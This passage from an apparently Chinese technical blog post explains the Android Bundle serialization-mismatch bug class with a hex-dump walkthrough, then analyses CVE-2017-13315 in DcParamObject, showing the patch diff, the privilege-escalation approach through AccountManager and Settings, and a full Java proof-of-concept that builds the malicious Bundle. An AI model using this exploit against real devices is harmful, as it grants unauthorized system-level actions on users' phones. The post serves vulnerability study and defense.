[0] Key 的值:7600 7500 6c00 6e00 5f00 6300 6c00 6100 7300 7300
[0] Value 的类型:0400 0000			// VAL_PARCELABLE  parcelable类型
[0] Value 的长度:1d00 0000
[0] Value 的值:6300 6f00 6d00 2e00 7400 6f00 7000 7300 ... 6c00 6100 6200 6c00 6500 0000 0000 0000

[1] key 的大小:0000 0000
[1] key 的值:0100 0000
[1] Value的类型:0600 0000		// VAL_LONG  long类型
[1] value的值:0d00 0000 3000 0000

[2] key 的大小:0600 0000
[2] key 的值:6800 6900 6400 6400 6500 6e00
[2] Value的类型:0000 0000  //  VAL_STRING string 类型
[2] Value的长度:0800 0000
[2] Value的值:4800 6900 2000 7400 6800 6500 7200 6500

---   这个key-value被抛弃 ---
[3] key 的大小:0900 0000
[3] key 的值:4100 2000 7000 6100 6400 6400 6900 6e00 6700
[3] Value的类型:0000		// VAL_STRING string 类型
[3] Value的长度:1300 0000
[3] Value的长度:7400 6f00 2000 6d00 6100 7400 ... 6300 6f00 7500 6e00 7400 0000   

[1] key的大小为0还是会读出key的值,如下函数:

// frameworks/native/libs/binder/Parcel.cpp
status_t Parcel::readString16(String16* pArg) const
{
    size_t len;
    const char16_t* str = readString16Inplace(&len);
    if (str) {
        pArg->setTo(str, len);
        return 0;
    } else {
        *pArg = String16();
        return UNEXPECTED_NULL;
    }
}
const char16_t* Parcel::readString16Inplace(size_t* outLen) const
{
    int32_t size = readInt32();
    // watch for potential int overflow from size+1
    if (size >= 0 && size < INT32_MAX) {
        *outLen = size;
        // 当size为0时readInplace(4)
        const char16_t* str = (const char16_t*)readInplace((size+1)*sizeof(char16_t));
        if (str != NULL) {
            return str;
        }
    }
    *outLen = 0;
    return NULL;
}

在第二次序列化之后多出 0000 0000 导致之后所有的解析都偏移0x4字节。示意图如下:
在这里插入图片描述
总结:

第一次反序列化后隐藏的key没有显示出来,然后序列化后再反序列化之后隐藏的key被解析显示了出来。只因为MyParcelable对象再序列化与反序列化时readInt与writeLong的不匹配导致多写了4字节的0,随后的反序列化中将key[0]后所有的内容都在原基础上增加4字节偏移。

案列:CVE-2017-13315

2018年5月份修复的CVE-2017-13315在DcParmObject类中。

https://android.googlesource.com/platform/frameworks/base/+/35bb911d4493ea94d4896cc42690cab0d4dbb78f

diff --git a/telephony/java/com/android/internal/telephony/DcParamObject.java b/telephony/java/com/android/internal/telephony/DcParamObject.java
index 139939c..fc6b610 100644
--- a/telephony/java/com/android/internal/telephony/DcParamObject.java
+++ b/telephony/java/com/android/internal/telephony/DcParamObject.java
@@ -36,7 +36,7 @@
     }
 
     public void writeToParcel(Parcel dest, int flags) {
-        dest.writeLong(mSubId);
+        dest.writeInt(mSubId);
     }
 
     private void readFromParcel(Parcel in) {

DcParamObject问题是writeToParcel和readFromParcel 中,这会在序列化时多写一个0000.

public void writeToParcel(Parcel dest, int flags) {
        dest.writeLong(mSubId);
}
private void readFromParcel(Parcel in) {
        mSubId = in.readInt();
}

与上面学习的漏洞示例一样,这种写法会导致序列化与反序列化错位,进而影响第二次反序列化的解析,让隐藏的key-value出现,这种方式可以使之绕过第一次反序列化时的安全检测。

利用思路,构造一个App发送恶意的Bundle到Settings中,使系统两次序列化后错位从而控制Settings执行系统权限的操作。Bundle构造三个key-value,和之前一样将恶意的payload藏在第2个key的value中,第3个key-value只是用来占位的,随意填写。

示意图:
在这里插入图片描述
App发送的Bundle首先会到system_server中进行反序列化检查,这里是因为2013年的 error 7699048 打的补丁也称为 Launch AnyWhere。目的是防止第三方应用程序通过系统用户越权调用,system_server会验证应用的数字签名,验证成功则将包传输到IAccountManagerResponse.onResult(),并且通过IPC机制调用onResult(),二次对Bundle进行序列化。

private class Response extends IAccountManagerResponse.Stub {
    public void onResult(Bundle bundle) {
        
      Intent intent = bundle.getParcelable(KEY_INTENT);
        
      if (intent != null && mActivity != null) {

        mActivity.startActivity(intent);
      }
     ...
     }
     ...
}

二次序列化时会将隐藏在key[1]中value的payload给显示出来,所以在调用onResult() 函数时KEY_INTENT的值是存在的,又因为这个函数当前进程是系统用户所以会成功启动任意Activity,这相当于从用户权限提升至系统权限。这里再结合其它的组件就可以达到系统权限的写和读操作了。

二次序列化示意图:

在这里插入图片描述
网上的poc代码:

Bundle evilBundle = new Bundle();
        Parcel bndlData = Parcel.obtain();
        Parcel pcelData = Parcel.obtain();

        // Manipulate the raw data of bundle Parcel
        // Now we replace this right Parcel data to evil Parcel data
        pcelData.writeInt(3); // number of elements in ArrayMap
        /*****************************************/
        // mismatched object
        pcelData.writeString("mismatch");
        pcelData.writeInt(4); // VAL_PACELABLE
        pcelData.writeString("com.android.internal.telephony.DcParamObject"); // name of Class Loader
        pcelData.writeInt(1);//mSubId

        pcelData.writeInt(1);
        pcelData.writeInt(6);
        pcelData.writeInt(13);
        //pcelData.writeInt(0x144); //length of KEY_INTENT:evilIntent
        pcelData.writeInt(-1); // dummy, will hold the length
        int keyIntentStartPos = pcelData.dataPosition();
        // Evil object hide in ByteArray
        pcelData.writeString(AccountManager.KEY_INTENT);
        pcelData.writeInt(4);
        pcelData.writeString("android.content.Intent");// name of Class Loader
        pcelData.writeString(Intent.ACTION_RUN); // Intent Action
        Uri.writeToParcel(pcelData, null); // Uri is null
        pcelData.writeString(null); // mType is null
        pcelData.writeInt(0x10000000); // Flags
        pcelData.writeString(null); // mPackage is null
        pcelData.writeString("com.android.settings");
        pcelData.writeString("com.android.settings.password.ChooseLockPassword");
        pcelData.writeInt(0); //mSourceBounds = null
        pcelData.writeInt(0); // mCategories = null
        pcelData.writeInt(0); // mSelector = null
        pcelData.writeInt(0); // mClipData = null
        pcelData.writeInt(-2); // mContentUserHint
        pcelData.writeBundle(null);

        int keyIntentEndPos = pcelData.dataPosition();
        int lengthOfKeyIntent = keyIntentEndPos - keyIntentStartPos;
        pcelData.setDataPosition(keyIntentStartPos - 4);  // backpatch length of KEY_INTENT
        pcelData.writeInt(lengthOfKeyIntent);
        pcelData.setDataPosition(keyIntentEndPos);
        Log.d(TAG, "Length of KEY_INTENT is " + Integer.toHexString(lengthOfKeyIntent));

        ///
        pcelData.writeString("Padding-Key");
        pcelData.writeInt(0); // VAL_STRING
        pcelData.writeString("Padding-Value"); //


        int length  = pcelData.dataSize();
        Log.d(TAG, "length is " + Integer.toHexString(length));
        bndlData.writeInt(length);
        bndlData.writeInt(0x4c444E42);
        bndlData.appendFrom(pcelData, 0, length);
        bndlData.setDataPosition(0);
        evilBundle.readFromParcel(bndlData);

在这里插入图片描述

  • 24
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值